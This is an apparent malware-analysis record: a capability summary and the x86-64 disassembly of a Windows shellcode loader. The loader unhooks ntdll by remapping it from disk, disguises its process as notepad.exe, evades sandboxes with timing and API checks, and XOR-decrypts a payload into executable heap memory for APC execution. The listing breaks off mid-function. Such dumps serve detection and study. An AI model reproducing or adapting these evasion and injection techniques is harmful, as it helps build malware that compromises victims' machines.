Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x918
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x880], xmm6
mov dword [rbp + 0x8c0], ecx
mov qword [rbp + 0x8c8], rdx
call fcn.140002b80
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
mov dword [rbp + 0x87c], 0xffffffff
mov ecx, 0x8e0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
add dword [rbp + 0x87c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140005660]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
movsd xmm1, qword [0x140005668]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x87c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x87c], 0x11a
jle 0x1400014e5
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x870], rax
cmp qword [rbp + 0x870], 0
jne 0x1400015f8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x870], rax
mov ecx, 0xc10
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x868], 0
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x86c], 0
jmp 0x140001676
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x303
jle 0x140001629
mov dword [rbp + 0x86c], 0
mov dword [rbp + 0x86c], 0
jmp 0x1400016f5
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400016c4
add dword [rbp + 0x868], 1
jmp 0x1400016ee
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400016ee
add dword [rbp + 0x864], 1
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x303
jle 0x140001698
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x870], 0
je 0x140001dd6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
mov rax, qword [rbp + 0x7f8]
mov r10, qword [rbp + 0x870]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x7e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d8], rax
mov ecx, 0x6c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov ecx, 0x6c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x85c], 0x1b0
mov dword [rbp + 0x860], 0
jmp 0x140001868
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x85c], 1
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x1b0
jle 0x1400017db
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x858], 0xffffffff
mov ecx, 0x1d78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0x1d78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
add dword [rbp + 0x858], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003cb0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x858], 0x3ad
jle 0x140001940
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov qword [rbp + 0x798], rax
mov word [rbp + 0x856], 0
jmp 0x140001dbe
mov dword [rbp + 0x794], 0
mov ecx, 0x2148
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov ecx, 0x2148
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov ecx, 0x2148
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x850], 0
jmp 0x140001b71
mov dword [rbp + 0x84c], 0
jmp 0x140001b5d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x850]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x788]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x850]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x780]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x46
jle 0x140001aac
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x1d
jle 0x140001a9d
mov dword [rbp + 0x850], 0
jmp 0x140001c48
mov dword [rbp + 0x84c], 0
jmp 0x140001c34
mov eax, dword [rbp + 0x850]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x788]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x850]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x780]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003b70
mov eax, dword [rbp + 0x850]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x778]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x46
jle 0x140001b9c
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x1d
jle 0x140001b8d
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x798]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x856]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001dad
mov dword [rbp + 0x5e8], 0
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5e8]
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x856]
add eax, 1
mov word [rbp + 0x856], ax
mov rax, qword [rbp + 0x798]
movzx eax, word [rax + 6]
cmp word [rbp + 0x856], ax
jb 0x140001a51
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x808]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x5ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5f8]
add rax, 0x3c
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x760]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x5ae
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5ae
jne 0x140002ab2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x75c], 0x30b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov eax, dword [rbp + 0x75c]
mov r8, qword [rbp + 0x750]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x2d9
jbe 0x140002ab2
mov dword [rbp + 0x73c], 0x3d5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x73c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x3a3
jbe 0x140002ab2
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x718]
mov r9d, 0x3000
mov r8d, 0x2f5
mov edx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002ab2
mov dword [rbp + 0x714], 0x38b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x704], eax
mov eax, dword [rbp + 0x714]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x708]
call rax
mov dword [rbp + 0x700], eax
mov eax, dword [rbp + 0x700]
sub eax, dword [rbp + 0x704]
cmp eax, 0x359
jbe 0x140002ab2
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
jne 0x140002ab2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
jne 0x140002ab2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002ab2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov ecx, 0
call rax
mov dword [rbp + 0x6cc], eax
cmp dword [rbp + 0x6cc], 0xffffffff
je 0x140002ab2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov ecx, 0
call rax
mov dword [rbp + 0x6bc], eax
cmp dword [rbp + 0x6bc], 0xffffffff
je 0x140002ab2
lea rax, [rbp + 0xb0]
lea rdx, [0x140005128]
mov ecx, 0xa6
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x800]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 0
mov edx, 0x530
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x530
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x808]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x68c], 1
mov ecx, 0xe24
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov qword [rbp + 0x840], 2
jmp 0x140002393
mov rax, qword [rbp + 0x840]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x840], 1
cmp qword [rbp + 0x840], 0x388
jbe 0x14000236c
mov qword [rbp + 0x840], 2
jmp 0x14000242a
mov rax, qword [rbp + 0x840]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002422
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x838], rax
jmp 0x14000240b
mov rax, qword [rbp + 0x840]
imul rax, qword [rbp + 0x838]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x838], 1
mov rax, qword [rbp + 0x840]
imul rax, qword [rbp + 0x838]
cmp rax, 0x388
jbe 0x1400023dc
add qword [rbp + 0x840], 1
cmp qword [rbp + 0x840], 0x388
jbe 0x1400023ad
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0x530
mov rcx, rax
call r9
mov dword [rbp + 0x834], 0
mov dword [rbp + 0x830], 0
mov dword [rbp + 0x82c], 0
movabs rax, 0xc2bb2373fe55c8b2
movabs rdx, 0xfd0ac96bc49825f5
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xdab5c075e4fee125
movabs rdx, 0x7d6cd23d3393fadc
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x559d37364269f9c7
movabs rdx, 0x9f41d42802462655
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x3114571fe56f7ce0
movabs rdx, 0xc82a8b9da5647b
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x21a0ddf9229e182a
movabs rdx, 0xe6ff8a708f5004cf
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x7162fb1ad8c50178
movabs rdx, 0x47d570fd7a64a302
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x23650b2e6d6f3412
movabs rdx, 0x5d5e86aa0465411c
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x216a025ddca148b8
movabs rdx, 0x213206e8a097ebce
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xb785f51a0b193a83
movabs rdx, 0x87548c0fed974c2d
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xd092c769d3c516c0
movabs rdx, 0xa5517e561e418de0
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xe6b501421a271480
movabs rdx, 0x125c36a8c64e2d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
jmp 0x140002832
mov ecx, 0xa94
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x64c], 0
mov dword [rbp + 0x828], 0
jmp 0x140002651
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x2a4
jle 0x140002605
mov dword [rbp + 0x828], 0
jmp 0x140002692
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x824], eax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x2a4
jle 0x140002669
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x830], 0x6e
jne 0x1400027fc
mov ecx, 0xaf0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0xaf0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x81c], 0x2bb
mov dword [rbp + 0x820], 0
jmp 0x14000273f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x2bb
jle 0x1400026f2
mov dword [rbp + 0x820], 0
jmp 0x14000279e
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x638]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x81c], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x2bb
jle 0x140002757
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x834]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x830]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x834]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x830], 0
jmp 0x14000282b
mov eax, dword [rbp + 0x834]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x830]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x834]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x830], 1
add dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x834]
cmp eax, 0x3e
jbe 0x1400025d4
mov dword [rbp + 0x834], 0
jmp 0x1400028ef
cmp dword [rbp + 0x82c], 0x3e
jne 0x1400028a3
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x82c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x82c], 0
jmp 0x1400028e8
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x82c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x834]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x82c], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x52f
jle 0x140002850
mov dword [rbp + 0x818], 0x168
jmp 0x140002912
sub dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0
jg 0x14000290b
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x800]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
